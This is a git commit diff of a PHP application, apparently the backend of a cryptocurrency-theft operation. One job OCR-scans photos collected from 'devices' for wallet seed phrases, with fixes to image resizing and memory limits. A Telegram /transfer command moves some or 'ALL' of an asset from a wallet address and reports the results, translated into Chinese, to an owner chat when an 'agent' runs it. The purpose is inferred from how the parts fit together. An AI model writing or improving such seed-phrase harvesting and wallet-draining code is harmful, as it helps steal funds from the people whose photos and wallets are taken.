fix: static

This commit is contained in:
hashbro
2026-09-14 04:12:54 +08:00
parent d16c40cdb3
commit 233df72502
6 changed files with 320 additions and 52 deletions
+19
View File
@@ -19,10 +19,29 @@ class ScanPhotoMnemonic implements ShouldQueue
public function handle(MnemonicScanService $scan): void
{
$this->raiseMemoryLimit();
$photo = Photo::query()->with('device')->find($this->photoId);
if ($photo === null) {
return;
}
$scan->scanPhoto($photo);
}
private function raiseMemoryLimit(): void
{
$raw = strtolower(trim((string) ini_get('memory_limit')));
if ($raw === '' || $raw === '-1') {
return;
}
$n = (int) $raw;
$bytes = match (substr($raw, -1)) {
'g' => $n * 1024 * 1024 * 1024,
'm' => $n * 1024 * 1024,
'k' => $n * 1024,
default => (int) $raw,
};
if ($bytes > 0 && $bytes < 256 * 1024 * 1024) {
ini_set('memory_limit', '256M');
}
}
}
+80 -12
View File
@@ -37,12 +37,15 @@ class PhotoOcrPreparer
(string) $photo->sha256,
);
$bytes = (string) ($payload['bytes'] ?? '');
unset($payload);
if ($bytes === '' || ! $this->isJpeg($bytes)) {
unset($bytes);
@unlink($jpeg);
return null;
}
file_put_contents($jpeg, $bytes);
unset($bytes);
} elseif (! @copy($abs, $jpeg)) {
@unlink($jpeg);
@@ -64,30 +67,68 @@ class PhotoOcrPreparer
if (is_array($info) && (int) ($info[0] ?? 0) <= $max && (int) ($info[1] ?? 0) <= $max) {
return;
}
if ($this->resizeWithGd($path, $max)) {
return;
}
$magick = $this->which('magick') ?? $this->which('convert');
if ($magick !== null) {
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
// Magick/sips first: GD truecolor of a 12MP iPhone shot is ~48MB and
// fatals the 128M queue worker before this method can fall through.
if ($this->resizeWithMagick($path, $max)) {
return;
}
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
$result = Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
if ($result->successful()) {
return;
}
}
$this->resizeWithGd($path, $max);
}
private function resizeWithMagick(string $path, int $max): bool
{
foreach ($this->magickCandidates() as $bin) {
try {
$result = Process::timeout(30)->run([$bin, $path, '-resize', $max.'x'.$max.'>', $path]);
} catch (\Throwable) {
continue;
}
if ($result->successful() && is_file($path)) {
return true;
}
}
return false;
}
/** @return list<string> */
private function magickCandidates(): array
{
$bins = [];
foreach ([
'/usr/bin/magick',
'/usr/local/bin/magick',
'/usr/bin/convert',
'/usr/local/bin/convert',
$this->which('magick'),
$this->which('convert'),
] as $bin) {
if (is_string($bin) && $bin !== '' && ! in_array($bin, $bins, true)) {
$bins[] = $bin;
}
}
return $bins;
}
private function resizeWithGd(string $path, int $max): bool
{
if (! function_exists('imagecreatefromstring') || ! function_exists('imagejpeg')) {
if (! function_exists('imagecreatefromjpeg') || ! function_exists('imagejpeg')) {
return false;
}
$bytes = @file_get_contents($path);
if (! is_string($bytes) || $bytes === '') {
$info = @getimagesize($path);
$width = (int) ($info[0] ?? 0);
$height = (int) ($info[1] ?? 0);
if ($width < 1 || $height < 1 || ! $this->gdFitsMemory($width, $height)) {
return false;
}
$src = @imagecreatefromstring($bytes);
$src = @imagecreatefromjpeg($path);
if ($src === false) {
return false;
}
@@ -116,6 +157,33 @@ class PhotoOcrPreparer
return $ok;
}
private function gdFitsMemory(int $width, int $height): bool
{
$limit = $this->phpMemoryBytes();
if ($limit <= 0) {
return true;
}
$need = ($width * $height * 4) + (16 * 1024 * 1024);
return (memory_get_usage(true) + $need) < $limit;
}
private function phpMemoryBytes(): int
{
$raw = strtolower(trim((string) ini_get('memory_limit')));
if ($raw === '' || $raw === '-1') {
return 0;
}
$n = (int) $raw;
return match (substr($raw, -1)) {
'g' => $n * 1024 * 1024 * 1024,
'm' => $n * 1024 * 1024,
'k' => $n * 1024,
default => (int) $raw,
};
}
private function tempJpeg(): ?string
{
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
+44 -11
View File
@@ -87,24 +87,57 @@ class TransferCommand
return;
}
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
$label = $amount === null ? "全部 {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ 正在转账 {$label},从 {$from}({$chain})…");
$result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot));
if (! ($result['ok'] ?? false)) {
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
$text = '❌ '.($result['error'] ?? '转账失败');
$bot->sendMessage($text);
$this->copyResultToOwner($bot, $text);
return;
}
$bot->sendMessage(implode("\n", [
'✅ Transfer submitted',
'Chain: '.$chain,
'From: '.$result['from'],
'To: '.$result['to'],
'Amount: '.$result['amount'].' '.$result['asset'],
'TxID: '.$result['txid'],
]));
$text = implode("\n", [
'✅ 交易已提交',
'链: '.$chain,
'转出: '.$result['from'],
'转入: '.$result['to'],
'金额: '.$result['amount'].' '.$result['asset'],
'交易: '.$result['txid'],
]);
$bot->sendMessage($text);
$this->copyResultToOwner($bot, $text);
}
/**
* Mirror the transfer result to the official group when /transfer ran elsewhere.
*/
private function copyResultToOwner(Nutgram $bot, string $text): void
{
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
if ($owner === '') {
return;
}
$current = trim((string) ($bot->chatId() ?? ''));
if ($current === '' || $current === $owner) {
return;
}
$copy = $text;
$agent = $this->context->agent();
if ($agent !== null) {
$name = trim((string) ($agent->username ?? ''));
$copy = '📣 代理转账'.($name !== '' ? ' · '.$name : '')."\n".$text;
}
try {
$bot->sendMessage($copy, chat_id: $owner);
} catch (\Throwable) {
// never break the command reply
}
}
private function detectChain(string $address): ?string